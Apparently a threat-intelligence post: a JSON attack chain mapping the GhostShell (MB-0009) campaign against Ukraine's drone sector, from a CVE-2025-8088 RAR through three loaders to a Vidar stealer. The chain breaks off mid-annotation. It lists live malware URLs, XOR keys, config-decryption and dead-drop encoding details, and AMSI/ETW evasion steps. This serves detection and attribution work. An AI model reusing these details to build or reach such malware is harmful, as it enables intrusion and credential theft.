I will spare you the usual IIM blah blah today and instead refer you to the article “IIM Feed: Attack Pattern Mapping for Adversary Infrastructure (5/7) if you want more information about how IIM works and what it is useful for.

Click to View Chains as JSON
{
  "iim_version": "1.1",
  "chain_id": "ghostshell.mb-0009.besomar-rar-to-mtls-implant-telegram-deaddrop-and-xray-vidar",
  "title": "GhostShell (MB-0009) Besomar-themed CVE-2025-8088 RAR to Startup VBS, three-way payload split: EC-mTLS implant on cndexpress.cc, Telegram dead-drop Metasploit stager and Xray/VLESS-tunneled Vidar v2",
  "description": "IIM chain for the June 2026 GhostShell (MB-0009) campaign against Ukraine's UAV / drone supply chain. A RAR archive (Besomar_documentation.rar) abuses CVE-2025-8088/CVE-2025-6218 archive handling to drop a VBS into the Windows Startup folder via relative path traversal. The decoy set impersonates the Ukrainian fixed-wing drone manufacturer Besomar and is tailored to military units, technical staff, procurement and volunteer organisations. The Startup VBS base64-decodes an ExecuteGlobal stub and pulls 122.exe and update.exe from cloudaxis.cc; KRAKEN additionally surfaced 22.exe staged on the same infrastructure. The three binaries form three distinct C2 lanes: (1) 122.exe is an XOR-overlay loader (CRPT, key d0cd4cb8d4673e28) that runs a Stage-2 implant in memory, authenticating to cndexpress.cc over WinHTTP with an embedded EC mutual-TLS client certificate issued by a self-named 'GhostShell Implant CA' while ignoring the server cert; (2) update.exe is an in-memory HTTPS stager that resolves its live C2 host (86.54.25.2) from a Telegram dead-drop (t.me/flufff6262, [CFG]...[/CFG] base64+XOR 'deadbeef1337') and runs a Metasploit-consistent x64 reverse_https shellcode after AMSI/ETW patching and ntdll unhooking; (3) 22.exe is a Go launcher embedding an Xray-Core client that tunnels traffic via VLESS+XTLS Vision+REALITY to 5.181.156.168:25475 and ultimately executes Vidar v2 in memory. The highest-value attribution pivot is the hard-coded issuer CN=GhostShell Implant CA on the implant PKI.",
  "actor_id": "MB-0009",
  "observed_at": "2026-06-22T00:00:00Z",
  "confidence": "likely",
  "needs_review": false,
  "import_source": "manual-osint-report-to-iim-conversion",
  "entities": [
    {
      "id": "rar_archive",
      "type": "file",
      "value": "Besomar_documentation.rar",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "SHA256 28f58061348a1c54fa6e7ff6618630259618d4afdf78514d5fccfc993797cdff.",
        "Report states the RAR abuses CVE-2025-8088 / CVE-2025-6218 (the same archive-handling weakness used in the Gamaredon case).",
        "Extraction copies a VBS file into the Windows Startup folder using multiple relative paths to reliably reach Startup from the working directory."
      ]
    },
    {
      "id": "decoy_pdf",
      "type": "file",
      "value": "\u0411\u043f\u041b\u0410 Besomar 3210.pdf",
      "observed_at": "2026-06-06T16:39:42+02:00",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "Representative member of a 7-PDF decoy set impersonating the Ukrainian fixed-wing drone manufacturer Besomar.",
        "Full set: \u0411\u043f\u041b\u0410 Besomar 3210.pdf, \u0417\u0430\u0440\u044f\u0434\u043d\u0430 \u0441\u0442\u0430\u043d\u0446\u0456\u044f.pdf, \u041a\u0430\u0442\u0430\u043f\u0443\u043b\u044c\u0442\u0430.pdf, \u041a\u043e\u043c\u043f\u043b\u0435\u043a\u0442\u0430\u0446\u0456\u044f \u0411\u043f\u041b\u0410 Besomar.pdf, \u041c\u043e\u0434\u0438\u0444\u0456\u043a\u0430\u0446\u0456\u044f Besomar 3210-N.pdf, \u041f\u0435\u0440\u0435\u0432\u0430\u0433\u0438 \u0441\u043f\u0456\u0432\u043f\u0440\u0430\u0446\u0456.pdf, \u041f\u0440\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0456\u044e.pdf.",
        "All decoys share identical size and identical creation timestamp 2026:06:06 16:39:42+02:00 (UTC+2 surface signal).",
        "Decoy targeting indicates interest in operational access and supply-chain intelligence around Ukrainian UAV deployments: military units, technical personnel, procurement staff, volunteer organisations and defense-sector partners."
      ]
    },
    {
      "id": "startup_vbs",
      "type": "file",
      "value": "%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MicrosoftUpdate-1.302.1609.vbs",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "SHA256 cff6007dbb9826d0a08865f47a71b31e90c5067c637ac863e360315da984f107; all VBS copies share this hash (identical file).",
        "Contains a base64 string decoded then run via ExecuteGlobal.",
        "Decoded stub uses WScript.Shell to curl two payloads from cloudaxis.cc into %TEMP% and start them (EdgeUpdate.exe / edge_service.exe).",
        "Placement in the Startup folder provides logon persistence."
      ]
    },
    {
      "id": "cloudaxis_url_122",
      "type": "url",
      "value": "hxxps://cloudaxis[.]cc/gsmft/yueu/fkvqld/tvqqwh/ushu/122.exe",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "Download URL emitted by the decoded VBS stub for the 122.exe loader.",
        "Defanged from https://cloudaxis.cc/gsmft/yueu/fkvqld/tvqqwh/ushu/122.exe for public feed display."
      ]
    },
    {
      "id": "cloudaxis_url_update",
      "type": "url",
      "value": "hxxps://cloudaxis[.]cc/gsmft/yueu/fkvqld/tvqqwh/ushu/update.exe",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "Download URL emitted by the decoded VBS stub for the update.exe in-memory loader.",
        "Defanged from https://cloudaxis.cc/gsmft/yueu/fkvqld/tvqqwh/ushu/update.exe for public feed display."
      ]
    },
    {
      "id": "cloudaxis_domain",
      "type": "domain",
      "value": "cloudaxis.cc",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009) (Whois)",
      "evidence": [
        "Delivery domain hosting 122.exe and update.exe.",
        "Registrar PDR Ltd d/b/a PublicDomainRegistry.com; created 2026-02-11, expires 2027-02-11 (~131 days old at observation).",
        "Direct browser access to the malware URLs returns 404 Not Found (nginx); the real payloads are only served to the malware client.",
        "Registration date (February) is consistent with earlier GhostShell findings referenced by the analyst."
      ]
    },
    {
      "id": "cloudaxis_ip",
      "type": "ip",
      "value": "154.58.204.149",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009) (Whois)",
      "evidence": [
        "Dedicated server hosting cloudaxis.cc.",
        "IP location Madrid, Spain - Cogent Communications.",
        "ASN AS214036 ULTAHOST-AS Ultahost, Inc., US (registered 2024-10-15)."
      ]
    },
    {
      "id": "loader_122",
      "type": "file",
      "value": "122.exe",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "SHA256 ab5681266f70af7df24383f15de876e411fc18e35cb6f24603b12f580b05ccb3.",
        "PE32+ x86-64, 6 sections; ~190 KB XOR overlay (magic 'CRPT') starting at offset 0x19C64.",
        "Overlay XOR key d0cd4cb8d4673e28 (most frequent 8-byte block under fixed-key XOR).",
        "Acts as a loader: XOR-unpacks the CRPT overlay and runs the Stage-2 PE in memory (VirtualAlloc / VirtualProtect / LoadLibrary / GetProcAddress)."
      ]
    },
    {
      "id": "stage2_implant",
      "type": "file",
      "value": "GhostShell Stage-2 implant (in-memory PE carved from 122.exe CRPT overlay)",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "Stage-2 PE32+ x86-64, ~190.5 KB, carved as stage2.bin (MD5 df587c58c82d7cfb41d966d2fe21cecb).",
        "Embedded config stored as an encrypted blob in .rdata at VA 0x140020880; in-place decrypt routine key = (i*7 - 0x58) & 0xFF over len 870, with AVX2 fast-path and scalar fallback.",
        "Decrypted config is a DER/PKCS#12 (.pfx) container holding the mutual-TLS client certificate and private key.",
        "Capabilities: HTTPS C2 via WinHTTP; host-fingerprint beacon implant=v%u.%u.%u&host=%s&user=%s&pid=%lu&tid=%lu; GDI+ screenshot; CreateProcess command execution; Run-key persistence; file I/O; anti-analysis (IsDebuggerPresent / CheckRemoteDebuggerPresent + QueryPerformanceCounter timing)."
      ]
    },
    {
      "id": "implant_cert",
      "type": "certificate",
      "value": "CA:53:3B:51:F3:22:5F:D2:4A:64:C6:34:EE:31:4F:06:01:E7:E2:FF:2D:5E:F3:64:23:5E:F4:EB:16:56:47:AE",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "EC mutual-TLS client certificate carved from the Stage-2 PKCS#12 config (PW empty, MAC check skipped).",
        "Subject CN=ed6e62814295701f (16 hex chars = 8-byte/64-bit per-implant ID); Issuer CN=GhostShell Implant CA; Serial 11145A2322AA5595D27E25CC977AD1B53CE88DCD (160-bit random).",
        "ECDSA prime256v1 (P-256), ecdsa-with-SHA256; clientAuth EKU (critical); CA:FALSE (critical); no SAN; valid 2026-06-18 to 2027-06-19.",
        "Issuer string 'GhostShell Implant CA' is a self-named private CA, very likely hard-coded in the C2 builder - the strongest cluster pivot of the whole set: any future sample or server presenting this issuer hangs off the same cluster.",
        "P-256 + 160-bit random serial + thin critical-extension template is weakly consistent with Go crypto/x509 defaults (low-confidence toolchain hint)."
      ]
    },
    {
      "id": "cndexpress_c2_url",
      "type": "url",
      "value": "hxxps://cndexpress[.]cc/analytics/collect",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "Stage-2 implant POSTs host-fingerprint beacons to /analytics/collect over HTTPS (WinHTTP).",
        "Implant authenticates with the embedded EC mTLS client cert and ignores the server certificate (WinHttpSetOption flags 0x3300).",
        "Sandbox without the client cert receives HTTP/1.1 400 Bad Request from nginx (custom headers X-Client-Version / X-Key-ID / X-Thread-ID present in the beacon).",
        "Defanged from https://cndexpress.cc/analytics/collect for public feed display."
      ]
    },
    {
      "id": "cndexpress_domain",
      "type": "domain",
      "value": "cndexpress.cc",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009) (Whois)",
      "evidence": [
        "Stage-2 C2 domain; deliberately on a different registrar than the delivery domain (the actor avoids hosting everything in one place).",
        "Registrar Spaceship, Inc.; created 2026-06-15, expires 2027-06-15 (~7 days old at observation).",
        "Root path serves a minimal, AI-generated 'CDN Express' decoy hosting page; the real endpoint requires the mTLS client cert (400 Bad Request 'No required SSL certificate was sent' otherwise)."
      ]
    },
    {
      "id": "cndexpress_ip",
      "type": "ip",
      "value": "5.252.177.88",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009) (Whois / sandbox)",
      "evidence": [
        "Dedicated server hosting cndexpress.cc; sandbox POSTs to 5.252.177.88:443 (cndexpress.cc) returned 400 Bad Request.",
        "IP location Missouri, US - MivoCloud.",
        "ASN AS39798 MivoCloud SRL, MD (registered 2015-03-24)."
      ]
    },
    {
      "id": "loader_update",
      "type": "file",
      "value": "update.exe",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "SHA256 b1834634820ae696f0514ca2b6723061f115857232306e573f4d115bc6ead012.",
        "Lightweight x64 in-memory loader / HTTPS stager masquerading as 'Windows Security Health Service' via manipulated version info.",
        "Anti-sandbox: sleep-timing check, available-RAM check, logical-processor-count check.",
        "Child process (re-launched with --exec <host>) patches EtwEventWrite and AmsiScanBuffer, then unhooks ntdll by overwriting the loaded .text section from a clean on-disk copy.",
        "Decrypts an embedded 757-byte x64 shellcode with a 16-byte repeating-key XOR; placeholder 111.111.111.111 is replaced with the Telegram-derived host; behaviour is strongly consistent with a Metasploit x64 reverse_https stager. No persistence, no classic process injection, no PE dropped to disk."
      ]
    },
    {
      "id": "telegram_deaddrop",
      "type": "url",
      "value": "hxxps://t[.]me/flufff6262",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "update.exe fetches this Telegram channel page over HTTPS and extracts a value embedded between [CFG] and [/CFG].",
        "The value is base64-decoded then XOR-decoded with key 'deadbeef1337' to yield the runtime C2 host. Example: [CFG]XFNPUVZLV1MfAQ==[/CFG] -> 86.54.25.2.",
        "Channel 'flufff6262' (1 subscriber, bio 'testing some code for fun') acts as a dead-drop resolver on a legitimate third-party platform.",
        "Defanged from https://t.me/flufff6262 for public feed display."
      ]
    },
    {
      "id": "metasploit_c2_ip",
      "type": "ip",
      "value": "86.54.25.2",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009) (Whois)",
      "evidence": [
        "Runtime C2 host decoded from the Telegram dead-drop; the WinINet stager connects to it over HTTPS on TCP/443 and loads the next stage in memory.",
        "IP location Kazakhstan ADSL - Icosys Computers And Communication Limited.",
        "ASN AS210006 ASKZ Shereverov Marat Ahmedovich, KZ (registered 2025-05-14); netname Shereverov-network, country KZ.",
        "Because the address is fetched at runtime from a rotating dead-drop post, the operational host can be changed without rebuilding the implant."
      ]
    },
    {
      "id": "launcher_22",
      "type": "file",
      "value": "22.exe",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "SHA256 8de34006dafd990853a45cbe9aaab4ee18c8cd4c1ad0a98fe71f8d63cd60db25.",
        "Discovered by KRAKEN on the same delivery infrastructure; not previously seen elsewhere as malware.",
        "Multi-stage Go x64 launcher: AES-256-GCM-decrypts an embedded config, extracts two gzip components (an Xray-Core client and a native Windows loader) to %TEMP% with randomized filenames.",
        "Native loader patches AmsiScanBuffer, AmsiOpenSession, EtwEventWrite, EtwEventWriteTransfer and NtTraceEvent, then AES-256-CBC-decrypts an embedded PE and manually maps it (relocations + import resolution) before calling its entry point in-process.",
        "On completion it kills started processes, disables the proxy, removes temp files and self-deletes; no persistence observed."
      ]
    },
    {
      "id": "xray_c2",
      "type": "ip",
      "value": "5.181.156.168",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009) (Whois)",
      "evidence": [
        "Xray-Core tunnel endpoint; outbound traffic is tunneled via VLESS + XTLS Vision + REALITY to 5.181.156.168:25475.",
        "Locally the launcher exposes an HTTP proxy on 127.0.0.1:10809 and a SOCKS proxy on 127.0.0.1:10808 and sets the user WinINET proxy plus HTTP_PROXY / HTTPS_PROXY for the loader.",
        "IP location Moldova, Chisinau - MivoCloud; resolve host 5-181-156-168.mivocloud.com.",
        "ASN AS39798 MivoCloud SRL, MD (registered 2015-03-24) - same hoster (MivoCloud / AS39798) as the cndexpress.cc C2 IP."
      ]
    },
    {
      "id": "vidar_payload",
      "type": "file",
      "value": "Vidar v2 (in-memory, manually mapped by the 22.exe native loader)",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "Final payload identified with high confidence as Vidar v2.",
        "Collects browser passwords, cookies, history and autofill, crypto-wallet data, browser-extension data, Telegram/Discord/Steam artifacts, Outlook/FileZilla configs, system info, screenshots and C2-defined files.",
        "Supports server-side loader tasks for executing further programs or scripts; exfiltration rides the Xray VLESS tunnel."
      ]
    }
  ],
  "chain": [
    {
      "entity_id": "rar_archive",
      "role": "entry",
      "techniques": ["IIM-T024"],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false
    },
    {
      "entity_id": "decoy_pdf",
      "role": "entry",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Decoy document is target-localization context for the initial delivery, not the execution payload itself."
    },
    {
      "entity_id": "startup_vbs",
      "role": "staging",
      "techniques": ["IIM-T024"],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Loader artifact placed in Startup via archive path traversal (CVE-2025-8088); logon persistence is captured separately in attack_annotations (T1547.001)."
    },
    {
      "entity_id": "cloudaxis_url_122",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false
    },
    {
      "entity_id": "cloudaxis_url_update",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false
    },
    {
      "entity_id": "cloudaxis_domain",
      "role": "staging",
      "techniques": ["IIM-T002"],
      "role_confidence": "confirmed",
      "technique_confidence": "likely",
      "needs_review": false,
      "review_notes": "Dedicated-server delivery host (Ultahost / Cogent). Tagged cloud/commercial hosting; ~131 days old so not disposable."
    },
    {
      "entity_id": "cloudaxis_ip",
      "role": "staging",
      "techniques": ["IIM-T002"],
      "role_confidence": "confirmed",
      "technique_confidence": "likely",
      "needs_review": false
    },
    {
      "entity_id": "loader_122",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "XOR-overlay (CRPT) loader; runs Stage-2 in memory."
    },
    {
      "entity_id": "stage2_implant",
      "role": "payload",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false
    },
    {
      "entity_id": "implant_cert",
      "role": "staging",
      "techniques": ["IIM-T012"],
      "role_confidence": "likely",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Role: IIM has no dedicated credential role; the cert is modeled as a staging/transport artifact because its job is authenticating the implant to C2. The shared self-named issuer (CN=GhostShell Implant CA) across per-implant leaf certs is the IIM-T012 reuse signal and the primary cluster pivot."
    },
    {
      "entity_id": "cndexpress_c2_url",
      "role": "c2",
      "techniques": ["IIM-T021"],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "mTLS-gated endpoint: the real response is served only when the custom client presents the embedded client cert (request-fingerprinting gate); otherwise 400 Bad Request."
    },
    {
      "entity_id": "cndexpress_domain",
      "role": "c2",
      "techniques": ["IIM-T002", "IIM-T010"],
      "role_confidence": "confirmed",
      "technique_confidence": "likely",
      "needs_review": false,
      "review_notes": "~7-day-old domain on a separate registrar (Spaceship) = disposable registration; AI-generated decoy hosting page at root."
    },
    {
      "entity_id": "cndexpress_ip",
      "role": "c2",
      "techniques": ["IIM-T002"],
      "role_confidence": "confirmed",
      "technique_confidence": "likely",
      "needs_review": false
    },
    {
      "entity_id": "loader_update",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "In-memory HTTPS stager (Metasploit-consistent), classified as loader/stager rather than dropper."
    },
    {
      "entity_id": "telegram_deaddrop",
      "role": "redirector",
      "techniques": ["IIM-T006", "IIM-T013"],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Dead-drop resolver on a legitimate third-party site (Telegram). Telegram only encodes the next-hop host here; it is not used as the bidirectional message bus, so IIM-T018 is intentionally not applied."
    },
    {
      "entity_id": "metasploit_c2_ip",
      "role": "c2",
      "techniques": ["IIM-T011"],
      "role_confidence": "confirmed",
      "technique_confidence": "likely",
      "needs_review": false,
      "review_notes": "Operational host is fetched at runtime via the dead-drop resolver, so it functions as a rotatable C2 node (IIM-T011). KZ ADSL / small AS could also support a bulletproof-style read (IIM-T003) but that is left out pending more nodes."
    },
    {
      "entity_id": "launcher_22",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Go launcher embedding Xray-Core; transport/proxy layer plus in-memory PE loader."
    },
    {
      "entity_id": "xray_c2",
      "role": "c2",
      "techniques": ["IIM-T002"],
      "role_confidence": "confirmed",
      "technique_confidence": "likely",
      "needs_review": false,
      "review_notes": "VLESS + XTLS Vision + REALITY tunnel endpoint on MivoCloud (AS39798), same hoster as cndexpress_ip. No dedicated IIM technique exists for an encrypted proxy transport; tagged cloud hosting and described in evidence."
    },
    {
      "entity_id": "vidar_payload",
      "role": "payload",
      "techniques": [],
      "role_confidence": "likely",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Commodity stealer (Vidar v2) delivered via the 22.exe lane; role-confidence likely because identification is by behavior/family rather than a clean published sample hash."
    }
  ],
  "relations": [
    {
      "from": "rar_archive",
      "to": "decoy_pdf",
      "type": "drops",
      "sequence_order": 1,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Extracting the RAR writes the Besomar-themed decoy PDFs alongside the malicious VBS.",
        "All decoys share identical size and creation timestamp 2026:06:06 16:39:42+02:00."
      ]
    },
    {
      "from": "rar_archive",
      "to": "startup_vbs",
      "type": "drops",
      "sequence_order": 2,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Extraction copies the VBS into %APPDATA%\\...\\Startup via relative path traversal, abusing CVE-2025-8088 / CVE-2025-6218.",
        "All dropped VBS copies share SHA256 cff6007dbb9826d0a08865f47a71b31e90c5067c637ac863e360315da984f107."
      ]
    },
    {
      "from": "startup_vbs",
      "to": "cloudaxis_url_122",
      "type": "download",
      "sequence_order": 3,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Decoded ExecuteGlobal stub runs curl against the cloudaxis.cc 122.exe URL into %TEMP%."
      ]
    },
    {
      "from": "startup_vbs",
      "to": "cloudaxis_url_update",
      "type": "download",
      "sequence_order": 4,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Decoded ExecuteGlobal stub runs curl against the cloudaxis.cc update.exe URL into %TEMP%."
      ]
    },
    {
      "from": "cloudaxis_url_122",
      "to": "cloudaxis_domain",
      "type": "references",
      "sequence_order": 5,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Locator-to-host edge: the 122.exe download URL is served from cloudaxis.cc."
      ]
    },
    {
      "from": "cloudaxis_url_update",
      "to": "cloudaxis_domain",
      "type": "references",
      "sequence_order": 6,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Locator-to-host edge: the update.exe download URL is served from cloudaxis.cc."
      ]
    },
    {
      "from": "cloudaxis_domain",
      "to": "cloudaxis_ip",
      "type": "resolves-to",
      "sequence_order": 7,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Whois lists 154.58.204.149 (Madrid / Cogent / AS214036 Ultahost) as the dedicated server for cloudaxis.cc."
      ]
    },
    {
      "from": "cloudaxis_url_122",
      "to": "loader_122",
      "type": "download",
      "sequence_order": 8,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The 122.exe URL serves the PE32+ loader (SHA256 ab5681266f...) to the malware client."
      ]
    },
    {
      "from": "loader_122",
      "to": "stage2_implant",
      "type": "execute",
      "sequence_order": 9,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "122.exe XOR-unpacks the CRPT overlay (key d0cd4cb8d4673e28) and runs the Stage-2 PE in memory (VirtualAlloc / VirtualProtect / LoadLibrary / GetProcAddress)."
      ]
    },
    {
      "from": "stage2_implant",
      "to": "implant_cert",
      "type": "references",
      "sequence_order": 10,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The Stage-2 implant carries the EC mTLS client cert + key in its .rdata PKCS#12 config and presents it for C2 authentication.",
        "Issuer CN=GhostShell Implant CA is the per-cluster PKI anchor."
      ]
    },
    {
      "from": "stage2_implant",
      "to": "cndexpress_c2_url",
      "type": "connect",
      "sequence_order": 11,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Implant POSTs the host-fingerprint beacon to cndexpress.cc/analytics/collect over WinHTTP, authenticating with the client cert and ignoring the server cert (flags 0x3300)."
      ]
    },
    {
      "from": "cndexpress_c2_url",
      "to": "cndexpress_domain",
      "type": "references",
      "sequence_order": 12,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Locator-to-host edge: the /analytics/collect endpoint is served from cndexpress.cc."
      ]
    },
    {
      "from": "cndexpress_domain",
      "to": "cndexpress_ip",
      "type": "resolves-to",
      "sequence_order": 13,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Sandbox traffic to cndexpress.cc terminates at 5.252.177.88:443 (Missouri / MivoCloud / AS39798)."
      ]
    },
    {
      "from": "cloudaxis_url_update",
      "to": "loader_update",
      "type": "download",
      "sequence_order": 14,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The update.exe URL serves the in-memory loader / HTTPS stager (SHA256 b18346348...)."
      ]
    },
    {
      "from": "loader_update",
      "to": "telegram_deaddrop",
      "type": "download",
      "sequence_order": 15,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "update.exe fetches t.me/flufff6262 over HTTPS and reads the [CFG]...[/CFG] value from the page body."
      ]
    },
    {
      "from": "telegram_deaddrop",
      "to": "metasploit_c2_ip",
      "type": "references",
      "sequence_order": 16,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The [CFG] blob base64+XOR('deadbeef1337') decodes to the C2 host: [CFG]XFNPUVZLV1MfAQ==[/CFG] -> 86.54.25.2."
      ]
    },
    {
      "from": "loader_update",
      "to": "metasploit_c2_ip",
      "type": "connect",
      "sequence_order": 17,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "After substituting the resolved host into the 757-byte shellcode (placeholder 111.111.111.111), the WinINet stager connects to 86.54.25.2 over HTTPS/443 and pulls the next stage in memory (Metasploit x64 reverse_https-consistent)."
      ]
    },
    {
      "from": "cloudaxis_domain",
      "to": "launcher_22",
      "type": "references",
      "sequence_order": 18,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "tentative",
      "x_evidence": [
        "KRAKEN surfaced 22.exe (SHA256 8de34006d...) as an additional file distributable from the same delivery infrastructure.",
        "The exact cloudaxis.cc URL/path for 22.exe is not published, so this hosting edge is kept tentative pending a confirmed delivery URL."
      ]
    },
    {
      "from": "launcher_22",
      "to": "vidar_payload",
      "type": "execute",
      "sequence_order": 19,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "likely",
      "x_evidence": [
        "The native loader extracted by 22.exe AES-256-CBC-decrypts an embedded PE, manually maps it and calls its entry point in-process; the mapped payload is Vidar v2."
      ]
    },
    {
      "from": "launcher_22",
      "to": "xray_c2",
      "type": "connect",
      "sequence_order": 20,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The embedded Xray-Core client tunnels outbound traffic via VLESS + XTLS Vision + REALITY to 5.181.156.168:25475 and exposes local HTTP/SOCKS proxies on 127.0.0.1:10809 / 127.0.0.1:10808."
      ]
    },
    {
      "from": "vidar_payload",
      "to": "xray_c2",
      "type": "communicates-with",
      "sequence_order": 21,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "likely",
      "x_evidence": [
        "Vidar exfiltration is routed through the local proxy / Xray tunnel; 5.181.156.168 is the observed tunnel endpoint rather than Vidar's terminal C2.",
        "Kept likely because the report establishes the tunnel and the Vidar family but does not expose Vidar's own downstream C2 host."
      ]
    }
  ],
  "attack_annotations": [
    {
      "technique_id": "T1566.001",
      "name": "Phishing: Spearphishing Attachment",
      "tactic": "Initial Access",
      "comment": "Besomar-themed RAR archive delivered to Ukrainian UAV-sector targets."
    },
    {
      "technique_id": "T1203",
      "name": "Exploitation for Client Execution",
      "tactic": "Execution",
      "comment": "CVE-2025-8088 / CVE-2025-6218 archive handling places the VBS into the Startup folder."
    },
    {
      "technique_id": "T1059.005",
      "name": "Command and Scripting Interpreter: Visual Basic",
      "tactic": "Execution",
      "comment": "Base64 + ExecuteGlobal VBS stub fetches and launches the EXEs."
    },
    {
      "technique_id": "T1547.001",
      "name": "Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder",
      "tactic": "Persistence",
      "comment": "VBS placed in the Windows Startup folder; Stage-2 implant additionally uses CurrentVersion\\Run."
    },
    {
      "technique_id": "T1140",
      "name": "Deobfuscate/Decode Files or Information",
      "tactic": "Defense Evasion",
      "comment": "CRPT XOR overlay (d0cd4cb8d4673e28), (i*7-0x58)&0xFF config decrypt, base64+XOR 'deadbeef1337' dead-drop config."
    },
    {
      "technique_id": "T1620",
      "name": "Reflective Code Loading",
      "tactic": "Defense Evasion",
      "comment": "122.exe runs Stage-2 in memory; update.exe runs decrypted shellcode; 22.exe manually maps Vidar in-process."
    },
    {
      "technique_id": "T1562.001",
      "name": "Impair Defenses: Disable or Modify Tools",
      "tactic": "Defense Evasion",
      "comment": "update.exe patches AMSI/ETW and unhooks ntdll; 22.exe loader patches AmsiScanBuffer/AmsiOpenSession/EtwEventWrite/EtwEventWriteTransfer/NtTraceEvent."
    },
    {
      "technique_id": "T1497",
      "name": "Virtualization/Sandbox Evasion",
      "tactic": "Defense Evasion",
      "comment": "update.exe checks sleep timing, available RAM and logical processor count."
    },
    {
      "technique_id": "T1102.001",
      "name": "Web Service: Dead Drop Resolver",
      "tactic": "Command and Control",
      "comment": "update.exe resolves its C2 host from a Telegram channel post (t.me/flufff6262)."
    },
    {
      "technique_id": "T1071.001",
      "name": "Application Layer Protocol: Web Protocols",
      "tactic": "Command and Control",
